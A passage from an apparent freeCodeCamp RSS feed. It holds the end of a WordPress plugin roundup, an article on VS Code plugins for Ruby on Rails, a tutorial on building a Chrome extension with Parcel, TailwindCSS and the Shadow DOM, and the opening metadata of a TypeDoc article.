<p>WP Super Cache has an <a target="_blank" href="https://wordpress.org/support/plugin/wp-super-cache/reviews/">average rating of 4.2 stars</a> out of 5 from 1,278 reviews.</p>
<h2 id="heading-managewp">ManageWP</h2>
<p>This plugin is designed for administrators of multiple WordPress installations. If your organization manages multiple websites you should give ManageWP a try.</p>
<p>With ManageWP you can log in to all of your sites from a single dashboard, and get instant access to key information about each of them. It gives you a clear overview of how things are going with all your websites, and you don’t need to switch from one site to another to check on them.</p>
<p>ManageWP has cloud-based architecture so you can manage your websites instantly no matter where you are. It is not just a time-saver, but also a nerve-saver. You can forget all about the hassle of updating websites.</p>
<p>ManageWP solves routine tasks automatically to save you time, nerves and money. It takes care of routine security measures, plugin updates, database cleanup, spam cleaning, and much more.</p>
<p>ManageWP has an <a target="_blank" href="https://wordpress.org/support/plugin/worker/reviews/">average rating of 4.7 stars</a> out of 5 from 603 reviews.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/10/All-in-One-WP-Migration-screenshot-1.png" alt="All-in-One WP Migration Screenshot" width="600" height="400" loading="lazy"></p>
<h2 id="heading-all-in-one-wp-migration">All-in-One WP Migration</h2>
<p>The plugin is an awesome tool for those who want to perform a professional and quick migration of their website, effortlessly and with little to no technical know-how.</p>
<p>The plugin allows you to move your site from one hosting service to another, from shared hosting to VPS, from VPS to cloud hosting, or even from shared hosting to cloud hosting. And that’s just the tip of the iceberg!</p>
<p>All-in-One WP Migration also includes several other features that may prove to be of more interest to seasoned WordPress users. For example, the plugin allows you to schedule your migrations for off-peak hours to minimize any possible downtime.</p>
<p>The plugin has been extensively tested and confirmed to be compatible with most WordPress plugins and themes.</p>
<p>So if you decide to upgrade your hosting package or simply move your website to another hosting provider, All-in-one WP Migration is the tool for the job.</p>
<p>All-in-One WP Migration has an <a target="_blank" href="https://wordpress.org/support/plugin/all-in-one-wp-migration/reviews/">average rating of 4.6 stars</a> out of 5 from 6,836 reviews.</p>
<h2 id="heading-jetpack">Jetpack</h2>
<p>When you're running a site or business, there are two things you can't afford to lose: your data and your customers.</p>
<p>Jetpack's free security products help prevent malicious attacks like brute force attacks (when hackers try to break into your site by trying thousands of password combinations), spam (like comment spam, which can hurt site reputation), and downtime (like when hackers get your site offline).</p>
<p>Jetpack Security also provides easy-to-use data backups that allow you to restore your site or business in minutes even if it's hacked.</p>
<p>Jetpack has an <a target="_blank" href="https://wordpress.org/support/plugin/jetpack/reviews/">average rating of 3.9 stars</a> out of 5 from 1,675 reviews.</p>
<h2 id="heading-buddypress">BuddyPress</h2>
<p>BuddyPress is a social networking plugin for WordPress which allows you to turn your WordPress installation into a fully functional community website.</p>
<p>BuddyPress features popular functionality found in social networking sites, including user profiles, activity streams, user groups, private messaging, events, forums, groups, and more.</p>
<p>Most importantly though, it allows you to easily create your unique community on your WordPress site that works in the way you want it to!</p>
<p>BuddyPress is built on the shoulders of the giants in the open-source community, both WordPress and bbPress have been used as foundations for BuddyPress since its inception.</p>
<p>BuddyPress has an <a target="_blank" href="https://wordpress.org/support/plugin/buddypress/reviews/">average rating of 4.2 stars</a> out of 5 from 344 reviews.</p>
<h2 id="heading-spotlight-social-media-feeds">Spotlight Social Media Feeds</h2>
<p>Some people believe that Google counts social media shares and likes when ranking pages in search, so having active social media feeds might help you rank higher.</p>
<p>The free version of Social Media Feeds lets you combine the photos and videos from multiple Instagram accounts into a single Instagram feed that displays all of the content from all of the accounts at once, on your website. This makes it easy to publish photos and videos from multiple Instagram accounts without having to post to each account individually.</p>
<p>The premium version also lets you add multiple Instagram feeds to your site, each one displaying posts from a different Instagram account.</p>
<p>The premium version also gives you access to 4 free templates, so you can choose the design that best suits your site or publication. You can even add your own custom CSS to the templates, including HTML and JavaScript.</p>
<p>Spotlight Social Media Feeds has an <a target="_blank" href="https://wordpress.org/support/plugin/spotlight-social-photo-feeds/reviews/">average rating of 4.8 stars</a> out of 5 from 100 reviews.</p>
<h2 id="heading-elementor">Elementor</h2>
<p>Elementor's drag-and-drop website builder empowers anyone to design, develop and launch sites faster than ever before.</p>
<p>Whether you’re a web designer looking for a way to achieve pixel-perfect websites, a marketer looking to get online fast, or a developer who wants to expand their capabilities, Elementor’s website builder has what you need – intuitive drag-and-drop editor, advanced design features, and a full open-source approach.</p>
<p>Elementor makes it easy to create beautiful and powerful responsive websites in just minutes featuring a robust toolset.</p>
<p>It offers everything you need to make something truly special: an intuitive drag-and-drop editor, unlimited colors and fonts, Google Fonts integration, responsive behavior out of the box, plus all the features you'll expect from a website builder: parallax backgrounds, sliders, and galleries, blog functionality and more.</p>
<p>Elementor has an <a target="_blank" href="https://wordpress.org/support/plugin/elementor/reviews/">average rating of 4.7 stars</a> out of 5 from 5,995 reviews.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>This list is not exhaustive, but that’s really the point. You don’t need 50 plugins to have a well-functioning, feature-rich website. You certainly don’t need multiple plugins that do the same thing.</p>
<p>All you need is a handful of key plugins that allow you to expand your site’s offerings, make it run faster, and display your content in the best-looking way possible.</p>
<p>Productivity is the core of your success. If you do more in less time, you can spend more time on things that really matter to you.</p>
<p>These WordPress plugins will boost your efficiency and will help you focus on how to grow your business and generate more revenue while they do the groundwork, and you do the thinking.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ 5 Helpful Visual Studio Plugins for Ruby on Rails Developers ]]>
                </title>
                <description>
                    <![CDATA[ By Vishnu Chilamakuru In this article, I'll share some of the plugins that I use to make development with Ruby on Rails easier and more fun. Why use these tools? Development tools play a significant role in a developer's life. If you are a junior dev... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/visual-studio-plugins-for-ruby-on-rails-developers/</link>
                <guid isPermaLink="false">66d46171d1ffc3d3eb89de78</guid>
                
                    <category>
                        <![CDATA[ plugins ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Productivity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ruby on Rails ]]>
                    </category>
                
                    <category>
                        <![CDATA[ visual studio ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 03 Sep 2020 06:16:55 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/08/visual_studio_ruby_on_rails-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Vishnu Chilamakuru</p>
<p>In this article, I'll share some of the plugins that I use to make development with Ruby on Rails easier and more fun.</p>
<h2 id="heading-why-use-these-tools">Why use these tools?</h2>
<p>Development tools play a significant role in a developer's life. If you are a junior developer and are just getting started working on projects, then knowing about the appropriate tools is a must. </p>
<p>These tools can save you a lot of time and they allow you to code more efficiently and thus increase your productivity.</p>
<p>If you are Ruby on Rails developer who's looking for free development tools, I would recommend Visual Studio. It has a ton of plugins, like the ones mentioned below, and they have helped me increase my productivity a lot.</p>
<p><em>Note: All visual studio plugins are available on the</em> <a target="_blank" href="https://marketplace.visualstudio.com/"><em>Visual Studio Marketplace</em></a> <em>for free.</em></p>
<p>So let's dive in.</p>
<h2 id="heading-rubyhttpsmarketplacevisualstudiocomitemsitemnamerebornixruby"><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=rebornix.Ruby">Ruby</a></h2>
<p>With ~1.3M downloads, this is one of the most popular plugins for Ruby. It provides enhanced Ruby language and debugging support. </p>
<p>With enhanced debugging support, developers can set breakpoints and inspect the local and global variables in debug mode. This helps to debug any issues easily and in quick time. </p>
<p>This plugin also supports code formatting via <strong><em>rubocop</em></strong> which is very much needed when you are working with team of developers to maintain consistent code format.</p>
<p>Ruby plugin has the following features:</p>
<blockquote>
<ul>
<li><p>Automatic Ruby environment detection with support for rvm, rbenv, chruby, and asdf  </p>
</li>
<li><p>Lint support via RuboCop, Standard, and Reek  </p>
</li>
<li><p>Format support via RuboCop, Standard, Rufo, and RubyFMT  </p>
</li>
<li><p>Basic Intellisense support  </p>
</li>
<li><p>Ruby debugging support  </p>
</li>
</ul>
<p>Source: <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=rebornix.Ruby">Ruby</a></p>
</blockquote>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-30-at-3.13.49-PM.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-railshttpsmarketplacevisualstudiocomitemsitemnamebung87rails"><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=bung87.rails">Rails</a></h2>
<p>This is another popular plugin for Rails which provides enhanced Rails support. </p>
<p>ERB HTML templating is widely used in Rails ecosystem as views to render HTML pages for websites. The Rails plugin has support for the <code>.erb</code> syntax and also provides auto-completion for popular HTML tags like stylesheet, meta tags, asset tags, and so on. </p>
<p>This plugin also helps to switch between Rails views (<code>*.erb</code> files) easily. It also helps you see online documentation of any methods or commands easily side by side.</p>
<p>Here are some of the features this plugin supports:</p>
<blockquote>
<ul>
<li><p>Ruby on Rails “Asset Helpers” and “Tag Helpers” snippets.  </p>
</li>
<li><p>.erb syntax highlights.  </p>
</li>
<li><p>Navigation between related files through command.  </p>
</li>
<li><p>Go to Definition.  </p>
</li>
<li><p>View path suggestion, Model’s static method suggestion, and Model’s field suggestion.  </p>
</li>
<li><p>Open the online document to the side through command.  </p>
</li>
</ul>
<p>Source: <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=bung87.rails">Rails</a></p>
</blockquote>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/vscode-rails.gif" alt="Image" width="600" height="400" loading="lazy">
<em>Image from <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=bung87.rails">VSCode Rails</a></em></p>
<h2 id="heading-ruby-solargraphhttpsmarketplacevisualstudiocomitemsitemnamecastwidesolargraph"><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=castwide.solargraph">Ruby Solargraph</a></h2>
<p>Ruby Solargraph is one of the most helpful plugins on this list, and provides IntelliSense, code completion, and inline documentation for Ruby. </p>
<p>Inline documentation helps you view all the allowed methods of the class/object, and also helps you easily understand the definition of each method and its arguments.</p>
<p>This is one of the plugins I have personally used many times to refer to a Ruby method's documentation, arguments for a method, and so on.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/vscode-solargraph-0.34.1.gif" alt="Image" width="600" height="400" loading="lazy">
<em>Image from <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=castwide.solargraph">VSCode Solargraph</a></em></p>
<h2 id="heading-vscode-endwisehttpsgithubcomkaiwoodvscode-endwise"><a target="_blank" href="https://github.com/kaiwood/vscode-endwise">Vscode Endwise</a></h2>
<p>This is my favorite extension that can save you a lot of time and headaches. This extension automatically adds  <code>end</code> to all your Ruby code blocks.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/endwise.gif" alt="Image" width="600" height="400" loading="lazy">
<em>Image from <a target="_blank" href="https://github.com/kaiwood/vscode-endwise">VSCode Endwise</a></em></p>
<h2 id="heading-rails-db-schemahttpsmarketplacevisualstudiocomitemsitemnameaki77rails-db-schema"><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=aki77.rails-db-schema">Rails Db Schema</a></h2>
<p>This plugin helps you define a DB schema and also enables auto-completion for Rails DB schemas. </p>
<p>While defining schemas or creating tables for any Entity, this plugin enables and autocompletes syntax for all your DDLs (Database definition language) like <code>create_table</code>, <code>create_index</code>, <code>delete_table</code>, <code>update_table</code>, and so on. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/definition.gif" alt="Image" width="600" height="400" loading="lazy">
<em>Image from <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=aki77.rails-db-schema">VSCode DB Schema</a></em></p>
<p>It helps in autocomplete of all attributes of any database entity. For example, if <code>User</code> has <code>email</code>, <code>name</code>, and <code>date_of_birth</code> attributes, this plugin will automatically detect the definition of entity and autocompletes its attributes when you type <code>User</code>. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/autocompletion.gif" alt="Image" width="600" height="400" loading="lazy">
<em>Image from <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=aki77.rails-db-schema">VSCode DB Schema</a></em></p>
<h2 id="heading-why-use-visual-studio">Why use Visual Studio?</h2>
<p>There are many other IDE options for Ruby on Rails developers like RubyMine (the enterprise version), Sublime, Vim, and so on. </p>
<p>But my personal favorite is Visual Studio as it has extensive plugin support for multiple languages like Golang, PHP, Node.js, and more. So it's the default IDE, especially for polyglot developers.</p>
<p>Even though visual studio lacks few features compared to RubyMine like getting support for the latest Rails version updates, it covers the majority of the features required for development via community plugins.</p>
<p>If this article was useful, please share it with your network. Also, follow me on <a target="_blank" href="https://twitter.com/vishnuchi">Twitter</a> to know when I publish my next article.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Make a Chrome Extension – a Browser Plugin Development Tutorial ]]>
                </title>
                <description>
                    <![CDATA[ By Marouane Rassili Building a Chrome extension can be overwhelming. It's different than building a web app in that you don't want to put too much JavaScript overhead on the browser since your extension will be run along with the website you're visit... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/chrome-extension-with-parcel-tailwind/</link>
                <guid isPermaLink="false">66d4604037bd2215d1e24598</guid>
                
                    <category>
                        <![CDATA[ chrome extension ]]>
                    </category>
                
                    <category>
                        <![CDATA[ plugins ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tailwind ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 25 Jun 2020 19:04:48 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/06/emile-perron-xrVDYZRGdw4-unsplash.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Marouane Rassili</p>
<p>Building a Chrome extension can be overwhelming. It's different than building a web app in that you don't want to put too much JavaScript overhead on the browser since your extension will be run along with the website you're visiting. You also don't usually get the benefit of bundling and debugging that are available with today's bundlers and frameworks.</p>
<p>When I decided to build a Chrome extension, I found that the number of blog posts and articles about building one is quite small. And there's even less information when you want to use one of the newer technologies like TailwindCSS.</p>
<p>In this tutorial we will discover how to build a Chrome extension using Parcel.js for bundling and watching and TailwindCSS for styling. We will also talk about how to separate your styling from the website to avoid colliding CSS – but more on that later.</p>
<p><strong>There are a few types of Chrome extensions worth mentioning:</strong></p>
<ul>
<li><strong>Content scripts</strong>: The first type of Chrome extension is the most common. It runs in the context of a web page and can be used to modify its content. This is the type of extension we'll be creating.</li>
<li><strong>Popup</strong>: Popup-based extensions use the extension icon to the right of the address bar to open a popup which can contain any HTML content that you like.</li>
<li><strong>Options UI</strong>: You guessed it! This is a UI for customizing options as an extension. It's accessible by right clicking the extension icon and selecting "options" or by navigating to the extension's page from the Chrome extensions list <code>chrome://extensions</code></li>
<li><strong>DevTools Extension</strong>: "A DevTools extension adds functionality to the Chrome DevTools. It can add new UI panels and sidebars, interact with the inspected page, get information about network requests, and more". -<a target="_blank" href="https://developer.chrome.com/extensions/devtools">Google Chrome documentation</a></li>
</ul>
<p>In this tutorial we will build a Chrome extension using only content scripts by displaying content on the web page and interacting with the DOM.</p>
<h2 id="heading-how-to-bundle-your-chrome-extension-using-parceljs-v2">How to bundle your Chrome Extension using Parcel.js V2</h2>
<p>Parcel.js is a zero-configuration web application bundler. It can use any kind of file as an entry point. It's simple to use and will work for any type of app including Chrome Extensions.</p>
<p>First create a new folder called <code>demo-extension</code> (make sure you have <code>yarn</code> or <code>npm</code> installed, I am going to use <code>yarn</code> for this post):</p>
<p><code>$ mkdir demo-extension &amp;&amp; cd demo-extension &amp;&amp; yarn init -y</code></p>
<p>Next we will install Parcel as a local dependency:</p>
<p><code>$ yarn add -D parcel@next</code></p>
<p>Now create a new directory called <code>src</code>:</p>
<p><code>$ mkdir src</code></p>
<h3 id="heading-adding-a-manifest-file">Adding a manifest file</h3>
<p>Every browser extension needs a manifest file. This is where we define the version and meta data about our extension, but also the scripts that are used (content, background, popup, .etc) and permissions if any. </p>
<p>You can find the full schema in Chrome's documentation: https://developer.chrome.com/extensions/manifest</p>
<p>Let's go ahead and add a new file in <code>src</code> called <code>manifest.json</code> with this content:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Demo extension"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"An extension built with Parcel and TailwindCSS."</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0"</span>,
  <span class="hljs-attr">"manifest_version"</span>: <span class="hljs-number">2</span>,
}
</code></pre>
<p>Now, before we go into more detail about how chrome extensions work and the kind of stuff you can make with them, we are going to set up <a target="_blank" href="https://tailwindcss.com/">TailwindCSS</a></p>
<h3 id="heading-how-to-use-tailwindcss-with-your-chrome-extension">How to use TailwindCSS with your Chrome Extension</h3>
<p>TailwindCSS is a CSS-framework that uses lower-level utility classes to create reusable but also customizable visual UI components.</p>
<p>Tailwind can be installed in two ways, but the most common way to use it is via its NPM package: </p>
<p><code>$ yarn add tailwindcss</code></p>
<p>Also, go ahead and add <code>autoprefixer</code> and <code>postcss-import</code>:</p>
<p><code>$ yarn add -D autoprefixer postcss-import</code></p>
<p>You need these to add vendor prefixes to your styles and to be able to write syntax like <code>@import "tailwindcss/base"</code> to import Tailwind files directly from <code>node_modules</code>, respectively.</p>
<p>Now that we have it installed, let's make a new file inside our root directory and call it <code>postcss.config.js</code>. This is the configuration file for PostCSS and it will contain, for now, these lines:</p>
<pre><code class="lang-js"><span class="hljs-built_in">module</span>.exports = {
  <span class="hljs-attr">plugins</span>: [
    <span class="hljs-built_in">require</span>(<span class="hljs-string">"postcss-import"</span>),
    <span class="hljs-built_in">require</span>(<span class="hljs-string">"tailwindcss"</span>),
    <span class="hljs-built_in">require</span>(<span class="hljs-string">"autoprefixer"</span>),
  ],
};
</code></pre>
<p><em>Order of plugins matters here!</em></p>
<p>That's it! That's all you need to get started using TailwindCSS within your Chrome extension.</p>
<p>Create a file called <code>style.css</code> inside your <code>src</code> folder and include Tailwind files:</p>
<pre><code class="lang-css"><span class="hljs-keyword">@import</span> <span class="hljs-string">"tailwindcss/base"</span>;
<span class="hljs-keyword">@import</span> <span class="hljs-string">"tailwindcss/utilities"</span>;
</code></pre>
<h3 id="heading-remove-unused-css-using-purgecss">Remove unused CSS using PurgeCSS</h3>
<p>Let's also make sure we only import the styles we use by enabling Tailwind's purging capability.</p>
<p>Create a new Tailwind configuration file by running: </p>
<p><code>$ npx tailwindcss init</code>: this will create a new <code>tailwind.config.js</code> file.</p>
<p>To remove unused CSS, we're going to add our source files to the purge field like this:</p>
<pre><code class="lang-js"><span class="hljs-built_in">module</span>.exports = {
  <span class="hljs-attr">purge</span>: [
    <span class="hljs-string">'./src/**/*.js'</span>, 👈
  ],
  <span class="hljs-attr">theme</span>: {},
  <span class="hljs-attr">variants</span>: {},
  <span class="hljs-attr">plugins</span>: [],
}
</code></pre>
<p>Now our CSS will be purged and unused styles will be removed when you build for production.</p>
<h3 id="heading-how-to-enable-hot-reloading-within-your-chrome-extension">How to enable Hot Reloading within your Chrome Extension</h3>
<p>One more thing before adding some content to our extension: let's enable hot reloading.</p>
<p>Chrome doesn't reload the source files when you make new changes – you need to hit the "Reload" button on the extensions page. Fortunately, there's an NPM package that does hot reloading for us.</p>
<p><code>$ yarn add crx-hotreload</code></p>
<p>In order to use it, we'll create a new file called <code>background.js</code> inside our <code>src</code> folder and import <code>crx-hotreload</code></p>
<pre><code class="lang-js"><span class="hljs-keyword">import</span> <span class="hljs-string">"crx-hotreload"</span>;
</code></pre>
<p>Finally point to <code>background.js</code> in <code>manifest.json</code> so it can be served with our extension (hot reloading is disabled in production by default):</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Demo extension"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"An extension built with Parcel and TailwindCSS."</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0"</span>,
  <span class="hljs-attr">"manifest_version"</span>: <span class="hljs-number">2</span>,
  <span class="hljs-attr">"background"</span>: { 👈
    <span class="hljs-attr">"scripts"</span>: [<span class="hljs-string">"background.js"</span>]
  },
}
</code></pre>
<p>Enough with configuration. Let's build a small script form within our extension.</p>
<h4 id="heading-types-of-scripts-in-a-chrome-extension">Types of scripts in a Chrome extension</h4>
<p>As mentioned in the beginning of this post, in Chrome extensions there a few types of scripts you can use.</p>
<p><em>Content scripts</em> are scripts that run in the context of the visited web page. You can run any JavaScript code that is otherwise available in any regular web page (including accessing/manipulating the DOM). </p>
<p>A background script, on the other hand, is where you can react to browser events, and it has access to the Chrome extension APIs.</p>
<h3 id="heading-adding-a-content-script">Adding a content script</h3>
<p>Create a new file called <code>content-script.js</code> under the <code>src</code> folder.</p>
<p>Let's add this HTML form to our newly created file:</p>
<pre><code class="lang-js"><span class="hljs-keyword">import</span> cssText <span class="hljs-keyword">from</span> <span class="hljs-string">"bundle-text:../dist/style.css"</span>;

<span class="hljs-keyword">const</span> html =
<span class="hljs-string">`
&lt;style&gt;<span class="hljs-subst">${cssText}</span>&lt;/style&gt;

&lt;section id="popup" class="font-sans text-black z-50 w-full fixed top-0 right-0 shadow-xl new-event-form bg-white max-w-sm border-2 border-black p-5 rounded-lg border-b-6"&gt;
  &lt;header class="flex mb-5 pl-1 items-center justify-between"&gt;
    &lt;span class="text-2xl text-black font-extrabold"&gt;New event!&lt;/span&gt;
  &lt;/header&gt;
  &lt;main class="event-name-input mb-6"&gt;
    &lt;div class="mb-6"&gt;
      &lt;label
        for="event-name"
        class="font-bold pl-1 block mb-1 text-black text-xl"
        &gt;
      Event name
      &lt;/label&gt;
      &lt;div class="duration-400 flex bg-white border-black border-2 rounded-lg py-4 px-4 text-black text-xl focus-within:shadow-outline"&gt;
        &lt;input
          id="event-name"
          name="event-name"
          type="text"
          placeholder="web.dev LIVE"
          class="font-medium w-full focus:outline-none"
          /&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="mb-6"&gt;
      &lt;label
        for="event-date"
        class="font-bold pl-1 block mb-1 text-black text-xl"
        &gt;
      Date
      &lt;/label&gt;
      &lt;div class="event-date-input duration-400 border-black flex bg-white border-2 rounded-lg py-4 px-4  text-xl focus-within:shadow-outline"&gt;
        &lt;input
          id="event-date"
          name="event-date"
          type="date"
          class="font-medium w-full focus:outline-none"
          /&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=" mb-8"&gt;
    &lt;label
      for="event-time-input"
      class="font-bold pl-1 block mb-1  text-xl"
      &gt;
    Time
    &lt;/label&gt;
    &lt;div class="inline-flex items-center"&gt;
      &lt;input
        id="event-time-input"
        type="time"
        value="17:30"
        class="border-black mr-4 lowercase duration-400 w-auto bg-white text-xl border-2  rounded-lg px-4 py-4 focus:outline-none focus:shadow-outline"
        /&gt;
      &lt;div class="inline-flex flex-col"&gt;
        &lt;span class="text-xl font-bold"&gt;Casablanca&lt;/span&gt;
        &lt;span class="text-base font-normal"&gt;Africa&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/main&gt;
  &lt;footer&gt;
  &lt;button 
    class="duration-400 bg-green-400 text-xl py-4 w-full rounded-lg border-2 border-b-6 leading-7 font-extrabold border-black focus:outline-none focus:shadow-outline"
    &gt;
  Save
  &lt;/button&gt;
  &lt;/footer
&lt;/section&gt;
`</span>

<span class="hljs-keyword">const</span> shadowHost = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">"div"</span>);
<span class="hljs-built_in">document</span>.body.insertAdjacentElement(<span class="hljs-string">"beforebegin"</span>, shadowHost);
<span class="hljs-keyword">const</span> shadowRoot = shadowHost.attachShadow({ <span class="hljs-attr">mode</span>: <span class="hljs-string">'open'</span> });

shadowRoot.innerHTML = html
</code></pre>
<p>Styling a browser extension is not as straightforward as you may think because you need to make sure that the website styles are not affected by your own styles. </p>
<p>In order to separate them, we are going to use something called the <em>Shadow DOM</em>. The Shadow DOM is a powerful encapsulation technique for styles. This means that styling is scoped to the Shadow tree. Therefore, nothing is leaked out to the visited web page. Also outside styles do not override the Shadow DOM's content, although CSS variables can still be accessible.</p>
<p>A <em>shadow host</em> is any DOM element we would like to attach our Shadow tree to. A <em>Shadow Root</em> is what is returned from <code>attachShadow</code> and its content is what gets rendered.</p>
<p><strong>Beware</strong>, the only way to style the content of a Shadow tree is by inlining styles. Parcel V2 has a new built-in feature where you can import the content of one bundle, and use it as compiled text inside your JavaScript files. Then Parcel will replace it at the time of packaging.</p>
<p>We did exactly that with our <code>style.css</code> bundle. Now we can inline the CSS automatically to the Shadow DOM at build time.</p>
<p>Now we have to tell the browser about this new file, let's go ahead and include it by adding these lines to our manifest:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Demo extension"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"An extension built with Parcel and TailwindCSS."</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0"</span>,
  <span class="hljs-attr">"manifest_version"</span>: <span class="hljs-number">2</span>,
  <span class="hljs-attr">"background"</span>: {
    <span class="hljs-attr">"scripts"</span>: [<span class="hljs-string">"background.js"</span>]
  },
  👇
  <span class="hljs-attr">"content_scripts"</span>: [
    {
      <span class="hljs-attr">"matches"</span>: [<span class="hljs-string">"&lt;all_urls&gt;"</span>],
      <span class="hljs-attr">"js"</span>: [<span class="hljs-string">"content-script.js"</span>],
    }
  ]
}
</code></pre>
<p>In order to serve our extension, we are going to add a few scripts to our <code>package.json</code>:</p>
<pre><code class="lang-json">  <span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"prebuild"</span>: <span class="hljs-string">"rm -rf dist .cache .parcel-cache"</span>,
    <span class="hljs-attr">"build:tailwind"</span>: <span class="hljs-string">"tailwindcss build src/style.css -c ./tailwind.config.js -o dist/style.css"</span>,
    <span class="hljs-attr">"watch"</span>: <span class="hljs-string">"NODE_ENV=development yarn build:tailwind &amp;&amp; cp src/manifest.json dist/ &amp;&amp; parcel watch --no-hmr src/{background.js,content-script.js}"</span>,
    <span class="hljs-attr">"build"</span>: <span class="hljs-string">"NODE_ENV=production yarn build:tailwind &amp;&amp; cp src/manifest.json dist/ &amp;&amp; parcel build src/{background.js,content-script.js}"</span>,
  }
</code></pre>
<p>Finally you can run <code>yarn watch</code>, go to <code>chrome://extensions</code>, and make sure <em>Developer Mode</em> is enabled on the top right of the page. Click on "Load Unpacked" and select the <code>dist</code> folder under <code>demo-extension</code>.</p>
<ul>
<li><em>If you get this error: <code>Error: Bundles must have unique filePaths</code> you can simply fix it by removing the <code>main</code> field in your <code>package.json</code></em></li>
</ul>
<h2 id="heading-how-to-publish-your-extension-to-the-google-chrome-web-store">How to publish your extension to the Google Chrome Web Store</h2>
<p>Before going further into this, let's add a new NPM script that will help us compress the extension files as required by Chrome.</p>
<pre><code class="lang-json">  <span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"prebuild"</span>: <span class="hljs-string">"rm -rf dist .cache"</span>,
    <span class="hljs-attr">"build:tailwind"</span>: <span class="hljs-string">"tailwindcss build src/style.css -c ./tailwind.config.js -o dist/style.css"</span>,
    <span class="hljs-attr">"watch"</span>: <span class="hljs-string">"NODE_ENV=development yarn build:tailwind &amp;&amp; cp src/manifest.json dist/ &amp;&amp; parcel watch --no-hmr src/{background.js,content-script.js}"</span>,
    <span class="hljs-attr">"build"</span>: <span class="hljs-string">"NODE_ENV=production yarn build:tailwind &amp;&amp; cp src/manifest.json dist/ &amp;&amp; parcel build src/{background.js,content-script.js}"</span>,
    <span class="hljs-attr">"zip"</span>: <span class="hljs-string">"zip -r chrome-extension.zip ./dist"</span> 👈
  }
</code></pre>
<p>If you haven't installed <code>zip</code> yet, please do so:</p>
<ul>
<li>MacOS: <code>brew install zip</code></li>
<li>Linux: <code>sudo apt install zip</code></li>
<li>For Windows, you can use the powershell command <code>Compress-Archive</code> similarly: <code>powershell Compress-Archive -Path .\\dist\\ -Destination .\\chrome-extension.zip</code></li>
</ul>
<p>Now all you have to do is head to <a target="_blank" href="https://chrome.google.com/webstore/devconsole/register">Chrome Web Store Developer Dashboard</a> to set up your account and publish your extension ?</p>
<ul>
<li><em>You can find the complete demo for this tutorial hosted on my GitHub account <a target="_blank" href="https://github.com/mrassili/extension-demo">here</a></em></li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In the end, Chrome extensions are not that different from web apps. Today you learned how to develop an extension using the latest technologies and practices in web development. </p>
<p>Hopefully this tutorial helped you speed up your extension development a little bit!</p>
<p>If you found this helpful, please Tweet about it and follow me at <a target="_blank" href="https://twitter.com/marouanerassili">@marouanerassili</a>.</p>
<p>Thank you!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ A deep dive into TypeDoc’s workflow and extensibility ]]>
                </title>
                <description>
                    <![CDATA[ By Alexander Kamenov This topic aims to cover the basics on how you could extend the TypeDoc library functionality and what are the opportunities that it provides. For those of you who are not familiar with TypeDoc, this is a library which allows you... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/a-deep-dive-into-typedocs-workflow-and-extensibility-d464683e092c/</link>
                <guid isPermaLink="false">66c342644f7405e6476b014c</guid>
                
                    <category>
                        <![CDATA[ api ]]>
                    </category>
                
                    <category>
                        <![CDATA[ documentation ]]>
                    </category>
                
                    <category>
                        <![CDATA[ plugins ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
